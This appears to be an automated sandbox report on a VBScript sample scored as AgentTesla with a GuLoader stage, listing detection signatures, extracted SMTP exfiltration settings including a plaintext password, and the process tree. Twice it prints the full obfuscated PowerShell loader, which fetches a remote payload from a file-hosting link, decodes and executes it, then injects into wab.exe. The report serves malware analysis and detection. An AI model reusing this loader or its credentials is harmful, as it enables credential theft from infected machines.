Analysis
- max time kernel
155s - max time network
161s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
08/03/2024, 02:09
General
- Target 4091cd04fa9846d0e1da6b54caf93c69874dcd530aa51dc987e5cea428149755.vbs
- Size 22KB
- Sample240308-ck95rsce83
- SHA256 4091cd04fa9846d0e1da6b54caf93c69874dcd530aa51dc987e5cea428149755
Score
10/10
Malware Config
Extracted
Family
-
agenttesla
Credentials
-
Protocol
smtp
-
Host
mail.awelleh3.top
-
Port
587
-
Username
-
Password
fNF5ntb6om,G
-
Email to
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- Detect packed .NET executables. Mostly AgentTeslaV4. 2 IoCs
- Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 2 IoCs
- Detects executables referencing Windows vault credential objects. Observed in infostealers 2 IoCs
- Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 2 IoCs
- Detects executables referencing many email and collaboration clients. Observed in information stealers 2 IoCs
- Detects executables referencing many file transfer clients. Observed in information stealers 2 IoCs
- Blocklisted process makes network request 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 15 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4091cd04fa9846d0e1da6b54caf93c69874dcd530aa51dc987e5cea428149755.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Malnings Torvehandlens Goggle #>;$Andantino=(cmd /c set /A 115^^0);Function Memorandumets ([String]$interastralnstanter){$Andantino=[char][int]$Andantino;$Limean=$Andantino+'ubstring';$Resynchronise=8;$Drkikkerterne67=dovenkroppe($interastralnstanter);For($interastral=7; $interastral -lt $Drkikkerterne67; $interastral+=$Resynchronise){$Mashier=$interastralnstanter.$Limean.Invoke($interastral, 1);$deselecting=$deselecting+$Mashier;}$deselecting;}function Knogleledenes ($Dishonourables){. ($Fumistery) ($Dishonourables);}function dovenkroppe ([String]$Oosporangium){$Atocia=$Oosporangium.Length-1;$Atocia;}$Afryddede=Memorandumets 'DatadelTAsepsesrVo ontraG ibendn trygersHeinleif Unswine Sammenr DaunterC,rutteiRelocatn FoerstgUndrape ';$oblivious=Memorandumets 'BilrudehFor jettHobb est,tivlrrpdilettasPermane: karsku/Folkvar/FrivolidBlomsterEnighediStuklofv Ur.geleAlders .Mortaryg SlusevoBoltendoKarikatgBus,anelTede caeUmorsom. Fj.mrecStedsanoUngmssemUndd.ag/SammensuB.ggefoc Rehnge?BnderneeUnstranxDdningep ByldemoJoomai r InfusitRenogra=HvirveldThamnopo Bevgelw Intercn esymblBolstedoTormentaWastierdOutcrop&B.zzantiLooskyldIndenri=Spig.ut1AmmelidR SmelteZRaiataleUnders,USteelerWBulgurhGStrabadb TysketaFdestavVErsta.nECrownmigvarmtva3R.endes0BeskadiwLoyaliszOverfy.p.oydenhtDi,usnss B,smel4BetonkaPLuci,noOSowtmisuCashewnhSrversk6Althe al ,atskiBGemologn .elbsf6 IdentiSContr r0 StjisoY.iramol3Genindl ';$Fumistery=Memorandumets 'Ov rileiRkkeflgeKompendx Myct r ';$Hydrocephalous=Memorandumets 'Tukaner$ Rat,ongC.ntionlSlambadoPapegjebFrumenta ghjortlPreinhe: pobalsISkyggebn ,tiveltDessertepreseparStartfipStrewe,aPlaywriuVindmlls Retente Inkles Samtykk=overbow Su.lecSMorskabtLie,rooaGuidwilrpre,rgat A touc-TempestBskiddeniartill.tApostolsBy,gestTTwinersr ntiserageometrnAlebencsBeefburfMenthyle S.ertirH,tairi Dorsoca- PuppetSRiposteo Prose,ulinieafrListefocGiftefoeSacerdo haa,dba$FrisrsaoTransu.bChefkahl Un rruiPantalovCovet.riThrushyoFairyweu VideobsKrestin Paratr-V,tafgiDmasticaeChry.opsBu passtSnuppesiMedie,anAntiariaTriglyptSynkrociUranylsoM.liolinCastlel Overfal$NringslPlevi.iceFluoraprPre ninlSalmiakeStarvelmErgometo Br.denr oktorfshaandle ';Knogleledenes (Memorandumets 'Lutreun$UdvalgsgGrnse,rlSu.erstoSkibakkbsyskrinaPlumplylVentroc:GramaryPforthbre IrernerAr,ourilTra,ceneFyldtinm Ove.bloOverfemrErotogesUnprodu=Regions$ gymno.eRevalidnAsserbov Sknh,d:ct,noidacommonipKinneylpGetatabdSnarleraTidt gntAtollsiaB.cklig ') ;Knogleledenes (Memorandumets 'opsaetnI,ormorsmTekstspp.lastruoAlienatr Unpur,tSubara -InterfoMMeloneroNedskridAdmiraluSwayerclDetacheePektin, ctavalBKnaurgii Smleh.ttentorisMotiv tT Topgalr klmsesa to,farnMidwests p rififInaffabeDispro,rMorison ') ;$Perlemors=$Perlemors+'\Holbkker.Lit' ;Knogleledenes (Memorandumets 'Arvi,vr$Unde.fag eavenil LancinoF reclobCorrealaSkridsil Spatie:XenolitNGenspejaMailsspbModulenoSporvejvG,afiksiResundsrTermistkAllodiasRemrknioOkl,hanmRepu.lih Telexee assembd Fla,tneKnastfrrGoladarn KathyaeMongrel= Co ate(BravureTC uldroeToughensDomp,ovtAlstoni-SostenePMedi abareskndet P ylloh.prreba Obviate$SubtutoPNordlige k,pebrr A.skuelPontonbe ,rykfemTennessoDommenerEklipsesSidet a) .nhere ') ;while (-not $Nabovirksomhederne) {Knogleledenes (Memorandumets ' D.ndroI Sta,dpfCircums instruk(Pengepu$trykfrdIWoodcocnResk detTra.klee IndisprTangeitp B.ndskaSekstetuGremlinsUnadopte Vauntm.Bade.raJ.yperdaoFler,imbSprudleSIwwoo ptplat,ebaTofasett Convene Ther.i R.stere- Crosspe Tr.nsiqR jsebr Fikserb$AkseltaAExteriofCowperir ,lairsy HalenddTr trindfeathereSldningdT oretiePalulus)hompaah Afrunde{LinjetaSSel,kabtForhaanaUnsu jerAubretitstudeh,-RadixerSHaremsklOrdfo meKobberteProslytpmoseand kludefn1 Renite}AptianaeHelikopltabo resForsommeTiss em{Dedi atSBotryomtSolvateaGardinprthyestetAdelsgo-FodboldSHemmelilHvepseteOverbeleChenillpT afikf Stauros1 Sti.er;Smugkr,K F.rplinHydrophoLopheavgGraphonlBrnsplaeRaadl tlOverslieOxmanshdEthereaeCasheenn AsswageItinerasteaktrm Aftales$UncradlHBlankysy NonevodImm.vear Gaussfo Mistnkcfrakkele igrifyptol behhSludrehaDepthh.lVideregoDer,optuIdentitsPredict}fyrskib ');Knogleledenes (Memorandumets ' Gi ber$slurbowgElectrolShamablo retrolb FaroesaOvermaalTerrori:.eforgeNEmbrighaStipulabEnstaveoYakoksevRelativiUafhngirBrugermk Pupahos Aggr goNnnendemUnpers,hAfhjl,ee StatisdScoutcreHypogeor TempernU,yttigeP,ogram=Afrikan(GtterieT Rullese ThermosP.laeost Narkoc-TjekkerPIdrtsanaHaworthtBo tdmmhUlvsrnt ,arcak$DigterePInd.raveLidender Befor.lRobotrye.nmoralm,orebyeototalesrRescisssParkeri)Crawfi. ') ;}Knogleledenes (Memorandumets 'Springl$ MaskefgBoxfulrlHyperd,oMtrikkebHe tomeaudringelRedukti: AcinipS RublerkBio.esseIndtgtse L kalolAfgudery galaga Heterot=E,agger RandbetGBakemeae Sun,het pegere-,olorisCRefall,oProfessndoktoretSdmenskeDermatintendenstSammenk Underli$ OdontoPUnrefuteSamovarr linonolWeeklineTiden emHalloweoRygsjlerFadmongscheepil ');Knogleledenes (Memorandumets 'Lede.ho$ Fr,aftgHavelaal Rev luoReburgebSrbeskaa MistiglRecondo:EnklaveKNec,arioSympatim ksamenmOdontosiCornwaltM swiretUniverseSupplesr Genva,eGlissadd aerendemildtvasGlos.er P ltle=Stjdmpe Nyttepl[BiltogeSBaculumyMidsomrs Herosht jatssae NedbrimTorsiom.Slvf,ltCUnionisoGvendetnPrintkovHrevrdie EaldorrFartbe tRucervu] Benefi:Icterit:Udenri FStic inrDermatoo Mi fiemFortungBGynarchaSkovlinsMartianeBullate6Fraskil4V neratSOsmogratVi.tuourThanatoi,ktiekbnBndletsg a oess( Ankoms$jetonsuSBillethk CraponeFor,lejeVerdensl BlaastyGenneml)evaluer ');Knogleledenes (Memorandumets 'Forbind$AnthologUvilliglRedningo.rasekabBrandgua PredomlSpr.tel: AmidmoBTukaneruSucces.ssrbeskasKo,torltC,nnamoo MadagapIndvelspJobswore.onismesAntagontG flende StimuldSlagtekeBagstrvrSde,des Planmss=Kiltesl Tommasa[T.rrakoSStudereyBighearsEimeroptHyp xiaeFartb,em,ackeem. KonjunTSkydepoe Unshamx Revi.ut Sawtge. BaeresEP,stordnBogskricMavisunoMoneterd CumbleiCl essjnVigtigpgMyressk] Fodgad:Ascania:Aktie,aA ReorchSimpiousC HeadboI RejsehITerre,u.LaicsfiGCram ete s,ngektUnint,rSparadoktRefecter PicorniDefi,ednStarvelgCm.cant(Mesofur$ AbsorpKRe.eposoRepr dumKr,kkesmtilkmpeiopacoustLsseramt KotypeespareskrDiscopheAr ejdsdraggerseC,eckhfs Pr ben)Branche ');Knogleledenes (Memorandumets 'Menacec$Unde.pag berberl UnpulvoEncoderbParbateaSenatorlBivaria:LithotrE jrneskxUnw.maneGeleer,cBarselvu AfpluktSortestiFlle stoFagmandnTillids2Reburna2Outtowe4.ldedei=Homocer$LaskninBKo.esekuNo,ethysVinger,s Ko,tamtBed,temom.chinapIntegrapIndkvareSolvejus Phil.ptFortryle Billedd.mbrangeHand airseniors.Cuno sys.utograuFremlejbEns ngusUnderbotSinaep rDrea,ihi S,rawlnTraveleg.ilogwo(Portabi3 Kisteg1 ,ngarb5 E,hesi0Uvilkaa1acerbit4Signale,F.akrse3 Shrink0 ,eksen6Livsfre1Winking2Inconvi)Rosillo ');Knogleledenes $Execution224;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c set /A 115^^03⤵
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Malnings Torvehandlens Goggle #>;$Andantino=(cmd /c set /A 115^^0);Function Memorandumets ([String]$interastralnstanter){$Andantino=[char][int]$Andantino;$Limean=$Andantino+'ubstring';$Resynchronise=8;$Drkikkerterne67=dovenkroppe($interastralnstanter);For($interastral=7; $interastral -lt $Drkikkerterne67; $interastral+=$Resynchronise){$Mashier=$interastralnstanter.$Limean.Invoke($interastral, 1);$deselecting=$deselecting+$Mashier;}$deselecting;}function Knogleledenes ($Dishonourables){. ($Fumistery) ($Dishonourables);}function dovenkroppe ([String]$Oosporangium){$Atocia=$Oosporangium.Length-1;$Atocia;}$Afryddede=Memorandumets 'DatadelTAsepsesrVo ontraG ibendn trygersHeinleif Unswine Sammenr DaunterC,rutteiRelocatn FoerstgUndrape ';$oblivious=Memorandumets 'BilrudehFor jettHobb est,tivlrrpdilettasPermane: karsku/Folkvar/FrivolidBlomsterEnighediStuklofv Ur.geleAlders .Mortaryg SlusevoBoltendoKarikatgBus,anelTede caeUmorsom. Fj.mrecStedsanoUngmssemUndd.ag/SammensuB.ggefoc Rehnge?BnderneeUnstranxDdningep ByldemoJoomai r InfusitRenogra=HvirveldThamnopo Bevgelw Intercn esymblBolstedoTormentaWastierdOutcrop&B.zzantiLooskyldIndenri=Spig.ut1AmmelidR SmelteZRaiataleUnders,USteelerWBulgurhGStrabadb TysketaFdestavVErsta.nECrownmigvarmtva3R.endes0BeskadiwLoyaliszOverfy.p.oydenhtDi,usnss B,smel4BetonkaPLuci,noOSowtmisuCashewnhSrversk6Althe al ,atskiBGemologn .elbsf6 IdentiSContr r0 StjisoY.iramol3Genindl ';$Fumistery=Memorandumets 'Ov rileiRkkeflgeKompendx Myct r ';$Hydrocephalous=Memorandumets 'Tukaner$ Rat,ongC.ntionlSlambadoPapegjebFrumenta ghjortlPreinhe: pobalsISkyggebn ,tiveltDessertepreseparStartfipStrewe,aPlaywriuVindmlls Retente Inkles Samtykk=overbow Su.lecSMorskabtLie,rooaGuidwilrpre,rgat A touc-TempestBskiddeniartill.tApostolsBy,gestTTwinersr ntiserageometrnAlebencsBeefburfMenthyle S.ertirH,tairi Dorsoca- PuppetSRiposteo Prose,ulinieafrListefocGiftefoeSacerdo haa,dba$FrisrsaoTransu.bChefkahl Un rruiPantalovCovet.riThrushyoFairyweu VideobsKrestin Paratr-V,tafgiDmasticaeChry.opsBu passtSnuppesiMedie,anAntiariaTriglyptSynkrociUranylsoM.liolinCastlel Overfal$NringslPlevi.iceFluoraprPre ninlSalmiakeStarvelmErgometo Br.denr oktorfshaandle ';Knogleledenes (Memorandumets 'Lutreun$UdvalgsgGrnse,rlSu.erstoSkibakkbsyskrinaPlumplylVentroc:GramaryPforthbre IrernerAr,ourilTra,ceneFyldtinm Ove.bloOverfemrErotogesUnprodu=Regions$ gymno.eRevalidnAsserbov Sknh,d:ct,noidacommonipKinneylpGetatabdSnarleraTidt gntAtollsiaB.cklig ') ;Knogleledenes (Memorandumets 'opsaetnI,ormorsmTekstspp.lastruoAlienatr Unpur,tSubara -InterfoMMeloneroNedskridAdmiraluSwayerclDetacheePektin, ctavalBKnaurgii Smleh.ttentorisMotiv tT Topgalr klmsesa to,farnMidwests p rififInaffabeDispro,rMorison ') ;$Perlemors=$Perlemors+'\Holbkker.Lit' ;Knogleledenes (Memorandumets 'Arvi,vr$Unde.fag eavenil LancinoF reclobCorrealaSkridsil Spatie:XenolitNGenspejaMailsspbModulenoSporvejvG,afiksiResundsrTermistkAllodiasRemrknioOkl,hanmRepu.lih Telexee assembd Fla,tneKnastfrrGoladarn KathyaeMongrel= Co ate(BravureTC uldroeToughensDomp,ovtAlstoni-SostenePMedi abareskndet P ylloh.prreba Obviate$SubtutoPNordlige k,pebrr A.skuelPontonbe ,rykfemTennessoDommenerEklipsesSidet a) .nhere ') ;while (-not $Nabovirksomhederne) {Knogleledenes (Memorandumets ' D.ndroI Sta,dpfCircums instruk(Pengepu$trykfrdIWoodcocnResk detTra.klee IndisprTangeitp B.ndskaSekstetuGremlinsUnadopte Vauntm.Bade.raJ.yperdaoFler,imbSprudleSIwwoo ptplat,ebaTofasett Convene Ther.i R.stere- Crosspe Tr.nsiqR jsebr Fikserb$AkseltaAExteriofCowperir ,lairsy HalenddTr trindfeathereSldningdT oretiePalulus)hompaah Afrunde{LinjetaSSel,kabtForhaanaUnsu jerAubretitstudeh,-RadixerSHaremsklOrdfo meKobberteProslytpmoseand kludefn1 Renite}AptianaeHelikopltabo resForsommeTiss em{Dedi atSBotryomtSolvateaGardinprthyestetAdelsgo-FodboldSHemmelilHvepseteOverbeleChenillpT afikf Stauros1 Sti.er;Smugkr,K F.rplinHydrophoLopheavgGraphonlBrnsplaeRaadl tlOverslieOxmanshdEthereaeCasheenn AsswageItinerasteaktrm Aftales$UncradlHBlankysy NonevodImm.vear Gaussfo Mistnkcfrakkele igrifyptol behhSludrehaDepthh.lVideregoDer,optuIdentitsPredict}fyrskib ');Knogleledenes (Memorandumets ' Gi ber$slurbowgElectrolShamablo retrolb FaroesaOvermaalTerrori:.eforgeNEmbrighaStipulabEnstaveoYakoksevRelativiUafhngirBrugermk Pupahos Aggr goNnnendemUnpers,hAfhjl,ee StatisdScoutcreHypogeor TempernU,yttigeP,ogram=Afrikan(GtterieT Rullese ThermosP.laeost Narkoc-TjekkerPIdrtsanaHaworthtBo tdmmhUlvsrnt ,arcak$DigterePInd.raveLidender Befor.lRobotrye.nmoralm,orebyeototalesrRescisssParkeri)Crawfi. ') ;}Knogleledenes (Memorandumets 'Springl$ MaskefgBoxfulrlHyperd,oMtrikkebHe tomeaudringelRedukti: AcinipS RublerkBio.esseIndtgtse L kalolAfgudery galaga Heterot=E,agger RandbetGBakemeae Sun,het pegere-,olorisCRefall,oProfessndoktoretSdmenskeDermatintendenstSammenk Underli$ OdontoPUnrefuteSamovarr linonolWeeklineTiden emHalloweoRygsjlerFadmongscheepil ');Knogleledenes (Memorandumets 'Lede.ho$ Fr,aftgHavelaal Rev luoReburgebSrbeskaa MistiglRecondo:EnklaveKNec,arioSympatim ksamenmOdontosiCornwaltM swiretUniverseSupplesr Genva,eGlissadd aerendemildtvasGlos.er P ltle=Stjdmpe Nyttepl[BiltogeSBaculumyMidsomrs Herosht jatssae NedbrimTorsiom.Slvf,ltCUnionisoGvendetnPrintkovHrevrdie EaldorrFartbe tRucervu] Benefi:Icterit:Udenri FStic inrDermatoo Mi fiemFortungBGynarchaSkovlinsMartianeBullate6Fraskil4V neratSOsmogratVi.tuourThanatoi,ktiekbnBndletsg a oess( Ankoms$jetonsuSBillethk CraponeFor,lejeVerdensl BlaastyGenneml)evaluer ');Knogleledenes (Memorandumets 'Forbind$AnthologUvilliglRedningo.rasekabBrandgua PredomlSpr.tel: AmidmoBTukaneruSucces.ssrbeskasKo,torltC,nnamoo MadagapIndvelspJobswore.onismesAntagontG flende StimuldSlagtekeBagstrvrSde,des Planmss=Kiltesl Tommasa[T.rrakoSStudereyBighearsEimeroptHyp xiaeFartb,em,ackeem. KonjunTSkydepoe Unshamx Revi.ut Sawtge. BaeresEP,stordnBogskricMavisunoMoneterd CumbleiCl essjnVigtigpgMyressk] Fodgad:Ascania:Aktie,aA ReorchSimpiousC HeadboI RejsehITerre,u.LaicsfiGCram ete s,ngektUnint,rSparadoktRefecter PicorniDefi,ednStarvelgCm.cant(Mesofur$ AbsorpKRe.eposoRepr dumKr,kkesmtilkmpeiopacoustLsseramt KotypeespareskrDiscopheAr ejdsdraggerseC,eckhfs Pr ben)Branche ');Knogleledenes (Memorandumets 'Menacec$Unde.pag berberl UnpulvoEncoderbParbateaSenatorlBivaria:LithotrE jrneskxUnw.maneGeleer,cBarselvu AfpluktSortestiFlle stoFagmandnTillids2Reburna2Outtowe4.ldedei=Homocer$LaskninBKo.esekuNo,ethysVinger,s Ko,tamtBed,temom.chinapIntegrapIndkvareSolvejus Phil.ptFortryle Billedd.mbrangeHand airseniors.Cuno sys.utograuFremlejbEns ngusUnderbotSinaep rDrea,ihi S,rawlnTraveleg.ilogwo(Portabi3 Kisteg1 ,ngarb5 E,hesi0Uvilkaa1acerbit4Signale,F.akrse3 Shrink0 ,eksen6Livsfre1Winking2Inconvi)Rosillo ');Knogleledenes $Execution224;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c set /A 115^^04⤵
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_xw1axv2h.jfy.ps1
memory/100-87-0x0000000021530000-0x00000000215C2000-memory.dmp
memory/100-94-0x0000000020A00000-0x0000000020A10000-memory.dmp
memory/100-92-0x0000000074FB0000-0x0000000075760000-memory.dmp
memory/100-90-0x0000000001E70000-0x0000000002926000-memory.dmp
memory/100-88-0x0000000021430000-0x000000002143A000-memory.dmp
memory/100-59-0x0000000001E70000-0x0000000002926000-memory.dmp
memory/100-86-0x0000000021440000-0x0000000021490000-memory.dmp
memory/100-81-0x0000000020A00000-0x0000000020A10000-memory.dmp
memory/100-79-0x0000000074FB0000-0x0000000075760000-memory.dmp
memory/100-78-0x0000000000C10000-0x0000000000C50000-memory.dmp
memory/100-77-0x00000000779D1000-0x0000000077AF1000-memory.dmp
memory/100-75-0x0000000000C10000-0x0000000001E64000-memory.dmp
memory/100-62-0x00000000779D1000-0x0000000077AF1000-memory.dmp
memory/100-61-0x0000000077A58000-0x0000000077A59000-memory.dmp
memory/2956-26-0x00000000054F0000-0x0000000005556000-memory.dmp
memory/2956-58-0x00000000779D1000-0x0000000077AF1000-memory.dmp
memory/2956-38-0x0000000006290000-0x00000000062DC000-memory.dmp
memory/2956-19-0x0000000074FB0000-0x0000000075760000-memory.dmp
memory/2956-82-0x0000000008C80000-0x0000000009736000-memory.dmp
memory/2956-80-0x0000000074FB0000-0x0000000075760000-memory.dmp
memory/2956-42-0x0000000007AA0000-0x000000000811A000-memory.dmp
memory/2956-43-0x0000000006850000-0x000000000686A000-memory.dmp
memory/2956-44-0x00000000074E0000-0x0000000007576000-memory.dmp
memory/2956-45-0x0000000007490000-0x00000000074B2000-memory.dmp
memory/2956-46-0x00000000086D0000-0x0000000008C74000-memory.dmp
memory/2956-47-0x0000000007700000-0x0000000007722000-memory.dmp
memory/2956-48-0x0000000007760000-0x0000000007774000-memory.dmp
memory/2956-20-0x0000000002960000-0x0000000002996000-memory.dmp
memory/2956-50-0x0000000004F70000-0x0000000004F80000-memory.dmp
memory/2956-51-0x00000000079A0000-0x00000000079A1000-memory.dmp
memory/2956-52-0x0000000008C80000-0x0000000009736000-memory.dmp
memory/2956-53-0x0000000008C80000-0x0000000009736000-memory.dmp
memory/2956-54-0x0000000074FB0000-0x0000000075760000-memory.dmp
memory/2956-56-0x0000000004F70000-0x0000000004F80000-memory.dmp
memory/2956-57-0x0000000004F70000-0x0000000004F80000-memory.dmp
memory/2956-37-0x0000000006260000-0x000000000627E000-memory.dmp
memory/2956-36-0x0000000005C60000-0x0000000005FB4000-memory.dmp
memory/2956-60-0x0000000004F70000-0x0000000004F80000-memory.dmp
memory/2956-21-0x0000000004F70000-0x0000000004F80000-memory.dmp
memory/2956-25-0x0000000005410000-0x0000000005476000-memory.dmp
memory/2956-76-0x0000000008C80000-0x0000000009736000-memory.dmp
memory/2956-24-0x0000000005370000-0x0000000005392000-memory.dmp
memory/2956-23-0x00000000055B0000-0x0000000005BD8000-memory.dmp
memory/2956-22-0x0000000004F70000-0x0000000004F80000-memory.dmp
memory/4912-13-0x000001EC68B90000-0x000001EC68BB2000-memory.dmp
memory/4912-49-0x000001EC689C0000-0x000001EC689D0000-memory.dmp
memory/4912-41-0x000001EC689C0000-0x000001EC689D0000-memory.dmp
memory/4912-40-0x000001EC689C0000-0x000001EC689D0000-memory.dmp
memory/4912-85-0x00007FFFE9CE0000-0x00007FFFEA7A1000-memory.dmp
memory/4912-39-0x00007FFFE9CE0000-0x00007FFFEA7A1000-memory.dmp
memory/4912-18-0x000001EC68E90000-0x000001EC68EA4000-memory.dmp
memory/4912-17-0x000001EC68E40000-0x000001EC68E66000-memory.dmp
memory/4912-16-0x000001EC689C0000-0x000001EC689D0000-memory.dmp
memory/4912-15-0x000001EC689C0000-0x000001EC689D0000-memory.dmp
memory/4912-14-0x00007FFFE9CE0000-0x00007FFFEA7A1000-memory.dmp